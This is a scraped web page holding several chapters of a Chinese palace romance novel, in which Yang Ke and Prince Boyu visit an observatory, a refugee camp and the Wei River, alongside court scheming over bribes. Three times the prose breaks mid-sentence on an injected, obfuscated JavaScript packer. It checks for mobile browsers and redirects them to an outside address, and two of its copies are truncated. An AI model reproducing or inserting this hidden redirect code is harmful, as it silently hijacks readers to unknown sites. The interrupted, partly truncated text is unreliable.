望向他沉静的眸子,杨柯心里的害怕一扫而光。伸出手,搭上他的,一股坚实的力量拉着她向前,稳着她立于船上。 一抬头,才反应过来,自己已被他带入怀中。两人四目相对,他的眸色仿佛泠泠月光,皎洁而温暖。静默之中,一股暧昧的气息伴着他身上的松香缓缓涌入。 杨柯脸颊一热,微微侧过了些脸。伯喻轻轻一笑,放在她腰间的手转至身前,带着她走进船内。 视线一下子暗了下去,“我们要去哪儿?”幸好一片漆黑,伯喻看不见杨柯羞红的脸。 他凑近她耳边,低声道:“一个你会喜欢的地方。”杨柯的心尖儿一颤,就连船也识趣地摇晃不定,她的神智跟着船身虚浮晃动,不知所终。 迷迷糊糊间,船便靠了岸。杨柯刚要起身,左手便被一只温暖大手包裹住,带着往前。踏上了地面,月光落在地上结成糖霜,一脚踩上去,黏一脚甜蜜芬芳。 “阿柯,我们到了。”伯喻的声音将她从梦幻中叫醒,杨柯抬头一看,面前一座五层楼高的建筑,以汉白玉筑基、琉璃瓦覆顶,层层飞檐如鹏翼舒展。每层檐角悬着八角风铃,錾刻二十八星宿。阁顶浑天仪十二道金芒直指苍穹,在月光下熠熠生辉。 “这是观星阁?之前听乐白提起过,里头有西洋进贡的大怪物,通过它的眼睛,能看到很远的星星呢。” “那个大怪物叫千里镜。”他掌心握得更紧,领着她进门,“跟我来。” 二人踏入观星阁,杨柯叫眼前景象顿住了脚步。她仰头望去,满目银辉自阁顶的穹窿倾泻而下,二十八根螭龙纹立柱拔地而起,撑起水晶穹顶,穹顶四周的水晶棱镜将月光揉碎成星子,铺了满地,恍若星河垂落人间。 伯喻含笑凝望着杨柯雀跃的身影,随着她脚步轻移,银辉在她裙裾间流转幽蓝光晕,将她化作了云汉仙子。 忽然阁顶金芒大盛,三层楼高的浑天仪急速旋转,十二道金环飞速掠过墙面,在四壁投下变幻的星图。 “小心脚下。”伯喻虚扶她手肘,语气中多了一丝温柔,“此刻到了戌时,阁里机关开始运转,地面光影复杂。” 杨柯停下了旋转的脚步,笑声来回荡悠在星图之间,“千里镜在哪儿?” 伯喻伸手指向中庭:“那便是千里镜。” 杨柯仰头望去,琉璃穹顶忽然明灭,但见水晶棱镜间游走着细密铜轨,铜轨上方的数百枚雕花铜镜随机关转动,将月光聚成一道银瀑,正落在西侧檀木架上的鎏金筒状物上。 伯喻引她绕过正在滴水的莲花漏,掀开垂落的银纱,露出覆满墙面的木架,四层暗格里静静卧着一束三丈长的黄铜望远镜,“西洋进贡时,称其能望见双星绕极,”他屈指轻弹镜身,语气中带着期许,“但愿今日能有所得。” 杨柯疑惑追问:“双星是哪双星?” “北极五星中的帝星与太子星,”伯喻目光深邃,缓缓解释道,“古有传言,双星环级,夫妇同德。” 杨柯旋即明白了他话中之义,心间怦然甜蜜。原来星光流转,河汉清浅,一切都只为风月情浓。 “喵——”一只黑猫从暗处悠然踱步而出,皮毛油亮似缎,缓缓行至杨柯脚边,尾巴轻摆。杨柯瞧得心软,蹲下身子,伸手摸上去,只觉掌心丝滑,竟比进贡的云锦还要柔软三分。 “你瞧!”杨柯眼眸弯弯,指着黑猫毛茸茸的脑袋,“它在蹭我的裙摆。”那猫儿歪着脑袋,脸颊与头顶交替磨蹭着她的裙裾,蓬松毛发微微翘起,喉咙里呼噜呼噜,甚是满足。 伯喻亦随着她蹲下身,修长手指轻轻拂过猫耳:“倒是个会撒娇的。”他目光温柔,与杨柯相视一笑,阁内银辉落在二人身上,将影子叠成温柔的轮廓。 杨柯顺着黑猫的后颈细细抚摸,猫儿顺势眯起眼睛,蜷成毛团卧在她脚边。 杨柯被它憨态可爱的样子逗笑,“看来这猫儿与我们投缘,”她抬头望向伯喻,“刚好今日是十五,不如咱俩相约,每月十五都来观星阁与它作伴,如何?” “好。”伯喻应声,眸光深沉,似藏着万千星辰,“其实,今日也是个特殊的日子。” 杨柯恍然大悟:“今日是月圆之夜,听钦天监说,今晚会有月蚀之相!” “对。”伯喻嘴角微扬,“今日也是我的生辰。” 杨柯又惊又喜:“生辰快乐!”说完又觉遗憾,蹙起眉尖道,“早知如此,我定要亲手备一份贺礼,也不枉你这番心意。”话到嘴边,她忽然顿住,伯喻贵为皇子,往年生辰定是宫宴喧天,为何今年独独邀她来这观星阁? 许是看出了她的疑惑,伯喻轻柔一笑,声音低沉而缱绻:“今年我特意恳请父皇,免去一切繁文缛节。比起满朝庆贺的虚浮热闹,我更想和你呆在一起。” 暮色漫入阁楼,烛火未燃的昏暗里,伯喻的面容被月光晕染得朦胧,但却格外楚楚动人。 “伯喻,你这般情意,我怎会不懂……”杨柯垂眸轻叹,“可你如此用心,我却没有什么好东西能够送你。” 伯喻见她神色动容,语气也松软下来:“我什么都不需要。你在我身边,就是最好的生辰礼物。” 月亮终于露出了头,照亮了屋内的二人。他们在月光下四目相对,伯喻的眼眸炙热,仿佛沉寂多年的火山猛然爆发,要将她吞噬。他俯下身来,滚烫的呼吸灼灼地落在杨柯的脸上,恍若汩汩熔浆灼痛脸颊上的皎皎月光。 下一刻,温热的唇便轻轻触碰上杨柯的唇畔,仿佛扑火一般,那份悸动沿着身体窜进了心底。 “喵!”黑猫又在身后开始出声了。 杨柯的目光被吸引了去,伯喻将手揽上她的腰,一下子拉近了距离。 “阿柯,”他唤起她的名字,眼神灼热地直视着她,“今晚你的注意力都要给我。” “好。”两人默契一笑,心中明白这一次可不会再被打扰了。 杨柯嗔道:“上次亲的不够,这次要久一点。” 伯喻轻笑一声,放在她腰间的手不轻不重地捏了下,褐色眼眸闪过一丝促狭,藏着细碎的星光,接着拉近了最后一分距离,将唇抵上了她的,灵巧的舌头撬开她的双齿,纠缠在一起。 伯喻带领着杨柯汲取唇间的甜蜜,夺走她的气息,又在她快要支撑不住时又传递回来,像是用点心诱哄小孩一般。 杨柯听到自己的心在砰砰狂跳,专属于伯喻的气息从衣颈钻进全身,勾起的酥麻更让她如着火般难捱。她手脚发软,只好攀住他的肩膀喘气,伯喻抱住她的身子,低沉的嗓音从耳边传来:“久一点便受不了了么?” 杨柯娇嗔着瞪了他一眼,伯喻猛地俯身,将她拦腰抱起,径直走向阁内的寝榻上去。 这么多年浸淫紫英阁,杨柯不可能不明白接下来会发生什么。 她勾住伯喻的脖颈,心中虽有担忧,但却毫无畏惧:我喜欢他,他也喜欢我,便没有什么可后悔的。 伯喻将她妥帖地放在榻上,却并未着急着再继续。 “你知道吗,”他抚上杨柯的脸,眼中满是柔情,“今日是我这辈子过得最快乐的生辰。” 杨柯心中暖意融融,看着他的俊颜,情不自禁地又亲了上去。 这一次的亲吻并不像方才那般绵缓漫长,伯喻的吻猛烈而强势,仿佛有火焰在烧。杨柯不顾一切地迎接上去,与他唇齿相依,忘记了思考,也不想思考,只是本能地想要抱紧他。 伯喻滚烫的指尖顺着杨柯的腰侧一路向上,停在她的脖颈边,唇齿也松开了她的。 他盯着杨柯的领口细缝露出的雪肤,眼神幽暗,仿佛一颗浮光暗动的宝石,泛着摄人心魄的光。 杨柯握住他的手,想要放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442305|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到胸前,伯喻极快地抽出,反握住她的,嗓音喑哑:“不行。” “你我相爱,有何不可?” “你尚未出阁,我不能害了你。”伯喻站起身来,白衣广袖离开了床榻。 一阵凉风吹过,仿佛带走了方才的缱绻和暧昧,杨柯的神智也清醒过来,曲起膝盖,轻轻环抱住自己。 伯喻见她神色低落,又坐了回去,伸开双臂拥她入怀,柔声道:“虽然这只是早晚的事情,但我最不希望的,便是你因此落了不好的名声。” 杨柯抬起头看向他:“我明白你的顾虑,可是……” “你不明白,”伯喻握住她的手,眼中情感复杂,“名誉对女子来说有多重要。我的额娘便是受此折磨。” 第一次听他主动提起瑾妃的往事,这何尝不是敞开心扉,杨柯不禁为之触动,看着他忧郁的样子,也握住他的手,传递给他安慰。 他继续道:“在我小的时候,便常常听闻宫人非议额娘,因着额娘嫁给父皇之前,便许配给了他人。额娘以为我不懂,便骗我那些人是在胡说。可我知道,他们说的并非有假。” “怎么会?”杨柯惊疑道,瑾妃是柔然的公主,怎么可能在出嫁大夏之前便有了夫婿,若有这样的传闻,皇上又怎么可能答应这门婚事? “额娘在柔然之时,早已和另一人以身相许。他是大夏曾经的将军,也是被父皇派往柔然的间谍——江云尧。”伯喻的眼神在此刻格外的冰冷,仿佛变了一个人,“他化名柳无暇潜伏在柔然。额娘嫁到大夏之前就与他私定终身,甚至不惜与整个柔然王室作对。柳无暇在真实身份暴露前,深受柔然王的赏识。不过此人确实厉害,文能治理边城,武能统领一军。当时柔然王室贵族的女子不知道有多少为他倾心。额娘与他的结合,也算是金童玉女。可后来朔州爆发大战,柔然才发现他竟然是大夏派出的间谍,已经埋伏在柔然七年之久。” “七年,”他念着这两个字,目光冰冷,“七年的时间足够长到可以改变一个人。可这个人不是他,而是额娘。柔然也因为他彻底败于大夏,从此割地赔款,沦为大夏的附庸国,直到后来阿骨打将军的出现才扭转了局面。”伯喻的脸上浮现出了自豪,杨柯逐渐意识到他对于柔然的情感非同一般。 杨柯小时候时常听爹爹说起柔然与大夏的恩怨。柔然在二十年前,因为阿骨打将军屡次获胜,夺回了不少当年割让的土地,终于得以扬眉吐气,可后来柔然发生内乱,阿骨打将军遭奸人陷害,英年早逝,柔然也因此一蹶不振。她现在都还记得自己追着爹爹询问阿骨打将军的英勇事迹时,爹爹那幅万般惋惜的样子。 “那后来呢?” 他深深叹了口气:“当时额娘执迷不悟,不肯相信是柳无暇背叛了柔然,甚至在柔然朝堂之上公然维护他,自然引发了众怒。当时大夏索要太多财宝,柔然早已负担不起,只能用和亲息事宁人。” “于是公主便被送到了大夏,成为了瑾妃。”杨柯替他接了下去。 “即便父皇宠爱有加,宫里关于额娘和亲前与江云尧的非议却从未停歇,宫人构陷之事更是屡见不鲜。纵使父皇再疼爱额娘,可他心里怎能安稳?额娘又从小贵为公主,天生傲骨,即使容得下他人谗言佞语,也无法忍受枕边之人对其怀疑。最后,就连额娘去世,父皇都没来看一眼。” 伯喻的眸子垂了下去,杨柯不禁心疼,拥住他的肩膀,轻抚他的脸颊:“别担心,我们不会重蹈覆辙的。” 伯喻转过头,眼眸猩红地望着她:“阿柯,总有一天,我会正式迎娶你。” 还没等杨柯回应,月光突然暗了下去,檐角风铃突然发出尖锐的铮鸣,阁里的烛火被凉风熄灭,整个屋里顿时漆黑一片。 突如其来的黑暗让杨柯感到恐惧,她慌乱地摸索着,声音带着不易察觉的颤抖:“伯喻?” “我在这。”伯喻温热的掌心覆了上来,另一只手揽住她的肩膀,将她稳稳带入松香的怀抱。 杨柯靠向他的胸膛,此刻两颗心是如此地贴近。 伯喻的指腹轻轻摩挲着她的脸颊,吻再次覆了上来,在她的唇上转辗着。 一切回归安静,只有复燃的暧昧余存,他喑哑的嗓音带着低笑传来:“阿柯,你说我要如何才能熬过这段时日?” 月亮重新探出了头,照亮了屋内的眷侣。 “也许这是上天对你真心的考验。” 34.前夜 京城东边的紫英阁内,红木雕花的门窗朝外大开,漏出里头的鬓香软语、笑语喧喧。 一个身着紫衣的中年男子缓缓平步至内,跟着小厮的指引到了四楼。垂花门前的纱帘被撩起,男子走了进去,房中已然坐了两人——羲王宇文泰,他身侧坐着的便是粮商江植。 紫衣男子对着宇文泰作了一揖:“近日听闻殿下在塞外遇刺,不知金躯可曾痊愈?” “劳苏大人挂怀,本王并无大碍。其实那些刺客……”宇文泰微微一笑,放下手里的蒙顶甘露,“皆是我指派的。” 原来此人便是新任督粮官苏明义。他与江植面面相觑,眸中皆是惊讶。苏明义略一沉吟,拱手追问:“敢问殿下,此事可与乐白郡主落马之事有所关联?” 宇文泰端起茶盏轻啜一口,冷笑道:“不错。丽妃妄图先发制人,借行刺之事构陷本王。可惜她千算万算,未料到本该骑上那匹惊马的不是父皇,却是乐白。如今她这盆脏水,倒是尽数泼到本王身上了。” “宫家出手向来阴毒,惯会在暗处设局。”他忽地收声,目光落在宇文泰身上,“可惜他们碰上了羲王殿下,能以血肉之躯入局的,除了您,恐怕再无别人了。此番苦肉计一出,陛下岂有不信之理?” 一旁听着的江植按捺不住,插嘴道:“草民在越州时,时常听人提起易望林大人。此番他推举苏大人做督粮官,顺水推舟送了兵部一个人情,比起吏部的宫家来,倒也还算厚道敞亮。” 话音落下,却见宇文泰和苏明义二人皆露出意味不明的笑容,不禁思忖道,莫不是自己看走了眼? 宇文泰笑着呷了一口茶:“江老板虽是商贾出身,倒还有副菩萨心肠。” 江植顿时回过神来,额角沁出冷汗,慌忙找补道:“草民见识短浅,瞧不出其中名堂,还望殿下和苏大人指点。” 苏明义解释道:“江老板有所不知,卑职并非由易大人指派。当时他不过向陛下奏请新设一个督粮官,但他既未提兵部人选,更没点我苏某的名。”他似笑非笑瞄了一眼宇文泰,又继续道,“易大人这步棋妙就妙在,若交由户部选派,便能安插亲信渗透兵部,正合他心意。若陛下仍命兵部管辖,那筹措军粮、管理粮道的烫手山芋便彻底砸在兵部手里了,谅兵部也束手无策。您说,这个提议好还是不好?” 江植直拍大腿:“瞎!那兵部岂不是就这么被他架住了?” 苏明义颔首:“正是。” 江植重重咂舌:“老滑头算盘打得真精!”话毕,他反手轻挥,身后小厮托着描金漆盘上前,漆盘上压着一沓用朱绳捆扎的文书,暗红封泥上还留着新鲜的指印。 “殿下,七日之约已到,田咏送来的东西都妥当了。”他将漆盘推向宇文泰,宇文泰修长手指掀开文书,尚未泛黄的宣纸上密密麻麻布满了见不得光的秘密。 江植探身用袖口虚点某处:“工部本该用来修缮河闸的两万两官银,一半都用去打点吏部了。”苏明义愤然道:“荒唐!上个月,户部拨给工部两万两河工费,说是要修青峡关的闸口,竟然让周焕塞进了吏部的私囊!”他袖口紫袍翻飞,“这等鼠辈不除,朝廷根基迟早要被蛀空!” 江植继续道:“苏大人先别急着气恼,这里头藏的祸事可比您想得更骇人。这些条目,记载了吏部官员收受贿赂的明细,还有他们私自截扣的十二道弹劾漕运的奏本。”他冷笑一声,“周焕那蠢货以为神不知鬼不觉,却不知自己在鬼门关前走了一遭。” 宇文泰冷静问道:“田咏的记录都抹干净了?” “那是自然。田咏哪会坐以待毙,他早把自己摘得干干净净。”他见宇文泰翻开另一叠文书,立即指着内页道:“小四倒是记恩,连顺风茶铺的流水账都带出来了。”他手指重重叩向其中一页,“您看这荒唐事,顺风茶铺每日采购茶叶量只有两斤,但他们每日发放的加急通牒竟有两百张!周焕怕是粪叉子戳了眼,连这般破绽百出的把戏都敢使!”说罢嗤笑一声,“幸好这草包不是咱们这边的,否则非得坏了大事!” 宇文泰蓦地合上账本,问道:“物证呢?” 江植拱手道:“殿下放心,那批特制的银两已连夜封存妥当。碱水往上头一淋,即刻变红。等三日后苏大人在御前呈上铁证,任周焕长千张嘴也辩不清。往后,青峡关总算是要安宁了。” 宇文泰抬手道:“勿急,一个周焕算不了什么,若是能借此撕开个口子——”话音未落,他凛凛目光扫过二人。 江植喉头微动,余光瞥向苏明义,只听苏明义沉声道:“殿下高瞻远瞩,只是卑职尚有疑虑。” 宇文泰爽快道:“但说无妨。” 苏明义凑近道:“按计,我们放出无钱购粮的消息,再顺势将国库亏空的矛头指向工部那两万两河工费。”他顿了一顿,声量放低了些,“可是后面最关键的查账,还得靠户部来办。如今户部半数要职皆被宫、易两家把持,这些人精得很,他们当真愿意领我们的情?这些天,我瞧着户部一点儿声都没有,心里不上不下的。” 宇文泰把玩着盏中茶汤,笑意漫过嘴角:“苏大人多虑了。古语有云,‘浅水喧哗,深潭无波’。”他轻晃茶盏,涟漪荡碎水中星眸,“户部目前虽暂无动静,但老七会明白我们的意思。” 苏明义怔了怔,旋即恍然抚掌:“既如此,卑职便放心了。” 江植听了他二人的谈话,也大概齐明了了其中奥秘。忽而想到了什么,上前道:“殿下,还有一事。田咏又向我们要了一处田宅。” “昨日给他那座还不够好?” 江植迟疑道:“他嫌弃宅子不够敞亮,想换一处。” 宇文泰冷哼道:“人心不足蛇吞象。” “那给他回绝了?” 宇文泰嘴角一扬:“为何回绝?既然他想要,满足他便是。” 江植和苏明义对视一眼,奇怪宇文泰为何如此轻易便妥协,转耳便听他道:“等他办完了事,将周焕送他的礼单也一齐送到勤政殿去。” 二人这才了然:“是。” 夜已深,帷幔低垂,薄纱飘摇,寝殿内的烛光明明灭灭,昏暗不清。 杨柯做了个噩梦,惊出一身冷汗。猛然醒来,反应过来自己原来只是躺在塌上,而伯喻正坐在床边皱眉担忧地望着自己。 她又惊又喜:“伯喻,你怎么来了?” 伯喻轻轻抚上她的额头,温声细语道:“我本想来看看你。方才见你眉头紧锁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姑娘,你醒了。”青桃端着梳洗的铜盆进了门来,也带进了一身的冷气。 此时已近深秋,早上寒霜覆满了大地。 “昨夜伯喻何时走的?” “殿下担心你再有梦魇缠身,便在屋里待得辰时后才走,那会儿你早已熟睡许久了。” 杨柯心中一暖,但又担心起他的身体来:“青桃,快命膳房将前几日内务府送来的药膳都拿出来,做个当归生姜羊肉汤,等到伯喻进宫时送去。” 青桃狡黠一笑:“姑娘莫急,殿下今日晚些时候便会来咱们苑里,到时给他喝就是。” 杨柯又惊又喜:“什么时候?” “殿下临走时特意吩咐的,”青桃掩嘴笑了笑,“他让姑娘在苑里等他来,莫要再出去乱跑了。” 杨柯被伯喻借青桃之口传达的调笑之语逗得脸颊飞红,随即用温热的清水洗脸,掩盖住脸上的羞赧。 晚上,杨柯乖乖坐在桌前,正对着书上小人图案出神,忽听得院外传来熟悉的清朗嗓音:“不用传了,我自去寻她。” 杨柯嘴角已是压抑不住的上扬,从书本上抬头时,伯喻清隽的模样已然立在面前。 “方才同户部各位大人商议了些要事,来得稍晚了些。” “不迟不迟!”杨柯蹭地站起,“我连书都没看几页呢。” 伯喻闻言轻笑,抬手抚了抚她翘起的发梢:“阿柯莫急。昨夜承诺过你,今夜自要带你出宫。” 35.难民 暮色初合,伯喻带着杨柯骑上随风,青马扬蹄踏碎满地金辉,朝着皇城正门疾驰而去。 路上禁军目光触及他们时,皆默契地调转了目光。除了出塞,这是杨柯头一回走正道离开这座宫殿,看着眼前朱红宫门次第打开,一种爽快的意味油然而生。 杨柯靠在伯喻的怀里,这一刻,不只是平日里的安心,更有一种与他同赴桃花源的快乐。 半柱香的光景,二人已经驱马来了城郊。 群峦在暮色中褪成黛色剪影,山脚的渭河盘桓虬曲,足下的官道似泛白草绳爬至城墙脚底,那里横列着整齐的营地,灰褐相间的苇席窝棚偶有火星明灭,像是谁在褪色的补丁上抖落了香炉灰。 “铛!铛!”两声闷响后,窝棚里顿时呜呜嚷嚷,闹成一团。 “前面发生了什么?”杨柯抻着脖子去探。 伯喻答道:“那里是朝廷设立的义庄,用来安置流民。这个时辰,恰好到开仓放粮了。” 榆木粥棚下,两个衙役正用长柄木勺敲打铁锅,流民从苇席窝棚里涌出,豁口的粗陶碗碰出清脆的碎响。 一个穿短褐的老汉抓住衙役的袖口:“官爷行行好,这粥稠得能立住筷子,赏碗清水润润嗓子吧。” “今日领了多少了?” 那老汉从怀里掏出一块木条:“还有半升。” 那衙役抻着脖子瞧了瞧,而后抬起下巴朝着不远处的陶瓮示意:“你去那儿领吧。” 老汉拄着拐杖,朝着青石台阶上的陶瓮踱去,将手里的木条递给了陶瓮边上站着的衙役,衙役掀开了顶盖,给他盛了一碗清水。 见那老汉拿到了水,众人也蠢蠢欲动起来,一个一个都撺掇到了铁锅边上,原本在盛粥的衙役不耐烦地大吼道:“都排好了!敢抢食的,今晚上轮不着饭吃!” 话音落下,人群如揉皱的纸张骤然舒展,又继续乖乖排好队伍,捧着碗等着食。 一个抱着婴儿的妇人不信邪地从人墙中挤了上去,指着自己皲裂的嘴唇道:“官爷,赏小女一些水吧,嘴唇都裂出血了。” 衙役道:“木条呢?” 妇人迟疑地看着他,还是从怀里掏出了木条。衙役抢了过去,瘪了瘪嘴:“按户部新规,领过栗粥者,两个时辰后方能取水。” 妇人一听,立马不乐意了:“我还有半升水没领呢?再过两个时辰,都到明日了,这半升岂不是全都浪费?” 衙役无奈道:“谁让你早不来?” 妇人起了哭腔:“孩子闹个不停,我哪儿记得时间呀。” 衙役朝她摆摆手:“快回去吧,快回去吧,下次长个记性。” 妇人不听,攥着衙役的袖子:“官爷,你就行行好,让我领了就是,本来我也有半升未领。” “丙字区七百户每日巳时、申时各领一升,误差不能过半刻钟,这是按漕河昼夜流速差算出来的最优解。”伯喻牵着随风,杨柯跟在他身后,二人缓缓走到了窝棚里面。 衙役见了他,脸色一变,立刻下跪行礼:“卑……卑职参加殿下!” 这一言激起千层浪,人群顿时沸腾了起来,“是宣王殿下!”“居然是殿下!”“皇子怎么会来我们这地方?” 几个衙役扬声道:“肃静!肃静!领过粥的赶紧回去,没领的继续排队!”人群重又安定了下来。 那妇人脸上一喜,走近了伯喻,忙下跪道:“民女参加殿下!” 伯喻扶她起身:“快起来吧。” 妇人抱着怀里的孩子,凑上前道:“今晨孩子哭闹误了时辰,殿下可否通融?”她怀中的婴儿面色红润,正抓住母亲汗湿的衣襟咯咯直笑。 伯喻缓缓道:“不是在下不肯,只是考虑到,若给您这半升水,恐怕众人皆相仿效。长此以往,水源管理便要乱套,大家用水都会受影响。” 妇人脸色一变,怒道:“无非是半升水的事情,哪里有那么多的顾虑了?” 杨柯见她不讲道理,走上前道:“姐姐,殿下是为了大局着想,若今日为你开了先例,那众人便都可以不按时间领取水源,漕河的水终究有限,若是打乱了秩序,那大家以后还有什么水喝呢?” “话说得真是好听,我看那陶瓮里都是水呢!”她目光往伯喻脸上一瞥,转身对着众人,大声吆喝道,“他是柔然王妃生的,一个胡种皇子,岂懂汉人疾苦?” 人群顿时被挑动了情绪,其中一个平头汉子嚷嚷了起来:“刘姐姐说得没错,义仓里那么多粮食,要不是他定死了额度,我们至于饿肚子吗?” 一人质问道:“你怎么知道义仓里有多少米?” 那汉子大声道:“我亲眼看见的!” 不少人怒了起来,纷纷大叫道:“好啊,原来朝廷多的是吃的!”“他故意饿着我们呢!” 有人站出来指责那汉子道:“每日分发的饭和水,哪里少了?”“是啊,我看你们不都吃的浑身是力气吗?” “那也不够吃的!朝廷又不是没粮食,为甚不给我们?”汉子伸手指着伯喻,“就是这个胡种皇子,他管着户部,不给我们吃!” “简直欺人太甚!”杨柯气急,上前就要去跟他们评理,伯喻按住她的肩膀,对她摇了摇头。 “各位!”他站到众人面前,掀起自己的右手手臂,露出了一道骇人的疤痕,那疤从大臂蔓延至手腕底下,犹如一条干涸的古河床横亘在他白皙的肌肤上。 众人瞪住他的疤痕,皆倒吸一口冷气,惊呆在原地。 只听伯喻低沉的嗓音徐徐传来:“此乃在下十七岁治水时所留,与诸位一样,我也是被大夏的土地鞭笞过的人。” 人群的愤怒逐渐融化,低叹的声音此起彼伏地响起。 “唉,要不是宣王殿下主持修建江堰,咱们滁州当年也不会风光一时。” “那又如何?现在还不是流落他乡了? “天灾也怪不了他头上呀!没殿下的话,咱们都不知道要去哪儿呢!” “那个张三,就想多拿点粮食存着卖钱!” 一旁的衙役大声道:“你们闹够了没有?还领不领饭吃了?”一声落下,众人又纷纷回到队伍里。 伯喻对另一个衙役问道:“每日的水源是否有结余?” 衙役拱手道:“回禀殿下,有倒是有一些,若是每人半升,但也只够十分之一的了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伯喻垂眸看向她,忍俊不禁道:“都是几年前的事情了,伤口早已愈合,不必担心。若你实在想关心我,”他贴着杨柯的耳畔低声道,“不妨拜托伯父将女儿送来宣王府,即便是绝症也可痊愈。” 杨柯脸颊飞红,掐了他一把:“你就知道逗我!” 伯喻朗然大笑,座下的随风抖了抖鬃毛,似乎也被这甜蜜感染,仰头长啸起来。 杨柯继续问道:“适才听他们说,户部每日只给四合米两升水,可是义仓里的粮食不是足够养活他们吗?” 伯喻缓缓道:“第一碗解渴,第二碗救命,第三碗生贪,只给两碗,既能满足他们的生存之需,又能压住心中的贪念、惰念。他们是流民没错,但朝廷的救济只能保证一时,解救不了他们一生。” 杨柯摇头感叹道:“治国安民,说起来简简单单的四个字,做起来竟然如此之难,幸好我现在只是个小小的女官,若用我这个脑袋去治国,大夏不得乱成什么样。” 伯喻笑道:“良匠无弃材,寻尺各有施。阿柯头脑机灵,尤擅诗词,自然也有你的价值所在。” “在哪儿呢?”杨柯望着远方的楚天咕哝着,她忽然俯下身子凑到随风耳朵边上,“随风,你说,我要如何为大夏做贡献?” 随风抖了抖鬃毛,“摇头是什么意思?”杨柯说着把头歪到随风眼睛边上,随风又喷了口热气,口水喷溅而出,她被吓得一个激灵,“说不出来就说不出来呀,朝我吐口水是做甚!” 伯喻宠溺地看着她,眼里满是笑意。 36.渭河 天月明净,柔软细草间,马蹄轻碾平沙,发出嘎吱嘎吱的声响。 杨柯忽然轻笑出声:“记得头一回出宫,还是宣王殿下‘失职’相助呢。” 伯喻眼尾微挑,语气带着几分促狭:“这般说来,倒是在下护宫不力了。” 杨柯眸光一闪,问道,“诶,那晚你投出的暗器是何物?” “玄冰刃。” “西域暗器之首!”见他答得干脆,杨柯语调上扬,佯装嗔怒,“伯喻,第一次见我便下狠手?” 伯喻失笑道:“连羽林卫都拿你没办法,我只能用玄冰刃出击了。”他语调微轻,“不过出手时便料到是你,特意击偏了三寸。” 杨柯面色稍缓:“那你是何时认出我的?” “第一眼。”伯喻柔情目光毫不避讳地望进她的眼底,“那日你身着黑衣,步伐轻盈,一看武功就不俗。在我的印象里,这几年入宫的伴读中,除了可馨外,会武功的只有你了。几句下来,便确定了猜想。” “原来你早有预谋!”杨柯别过脸去,脸颊坨红,声线也软了三分,“亏我还当是场偶遇……” 伯喻望着她耳尖红色,勾起了嘴角:“有些偶遇,本就是命中注定。”他凑近她耳边,“其实,很早我便对你有所耳闻。” 杨柯嘴角一抽,别是什么当街被程玉槿追打的糗事吧。 “一年前,京中皆传,李元的徒弟杨柯不知天高地厚,当众妄议章将军的诗作,但我却好奇你究竟是何人。后来特意翻遍书斋,找你的诗来看。世人说你标新立异,不守规矩,但我瞧着,倒颇有眉山苏氏之风采。”他眼底忽然闪过一丝狡黠,“而且,我还发现了姑苏悠悠客。” 杨柯惊呼道:“那日在景泰宫,我还唬你来着,原来你早知道我就是姑苏悠悠客!” 伯喻笑道: “是。《明斋广录》也是我故意所留,只不过拿到残本,倒是我疏忽了。” 他继续道:“后来总想着能见你一面,有一次逸韵诗会,我特意前去,但那次你没有来。之后朝务缠身,阴差阳错竟耽误了好些时日。”他握住她的手,掌心温热传递至她冰凉指尖,“直到你进宫,我才终于等到机会。” “与你见面后,之所以对你隐瞒宣王的身份,也是觉着你随性不羁,若一开始便用臣子之礼相处,恐怕也无法走近你。” 杨柯这时才惊觉,自己以为的单恋,原来在伯喻的眼里,早已到了情缘的中章。她更没有想到,那些旁人眼中的糗事和不堪,在他眼里,竟是最动人的模样。 杨柯怔怔望着眼前人,一缕红光忽然掠过她的脸颊,转头望去,远处彤云初现,这才惊觉天色将明。 她仰头问道:“伯喻,我们要去哪?” 伯喻揽着她的手紧了紧:“去等一件礼物。” “什么礼物?” “别急,等到了就知道了。”杨柯顺着他和缓的语气安宁了下来,望向前方,静静等待。 伯喻策马到了渭河边,马蹄在堤岸踏出哒哒声响。 杨柯望着河岸,疑惑不解道:“这就是你说的礼物?” 伯喻伸手替她拢了拢耳边鬓发,嗓音裹着晨露的湿润:“去年这个时候,我曾独自一人在夜晚醉宿于渭河边,”他的目光遥遥落于粼粼河面,“那日早晨醒来,睁开眼看见的,便是这番景象。” 杨柯顺着他的视线望去,太阳从天水交接处缓缓升起,渭水滚滚而去,似要淹过天际线淋湿了朝阳。而那漫天霞光似也顺着水柱倾泻而下,染红了整条渭河。 “你这是学东坡醉眠芳草?” 杨柯歪头轻笑,“小时候常跟着爹娘走南闯北,直到读了他写的‘九死南荒吾不恨’,深受震撼,当即便立志要和东坡一般,游遍天下,做一个潇洒的女侠。” 伯喻接道:“想来阿柯不必恨仕途坎坷,”他勾住她指尖,“一身轻松时,总能实现‘兹游奇绝冠平生’的心愿。” 二人相视一笑,杨柯顺势倚入他怀中,轻声道:“若能和你一同‘兹游奇绝’,便是‘九死南荒’我也不在乎。” 伯喻揽紧她的肩,嗓音柔若晨雾:“得遇卿卿,夫复何求。”他望着河面,眸光似也被染上了丹红,“渭河不仅是大夏的母亲河,亦滋养着柔然子民。”他指尖无意识摩挲着她肩头,“每当心中愁绪难以排遣,我便会来此独坐。” 话毕,伯喻仰头深吸晨风,喉结轻轻滚动。不知怎的,这动作似乎很有感染性,杨柯也跟着微仰面庞,腥润河风夹杂着幽人花香溜进鼻腔,恍惚间,西域沙漠的银铃和歌谣似乎也跟着河风从千远万里迢迢传来。 “为何独爱此处?”杨柯从他怀里扬起头。 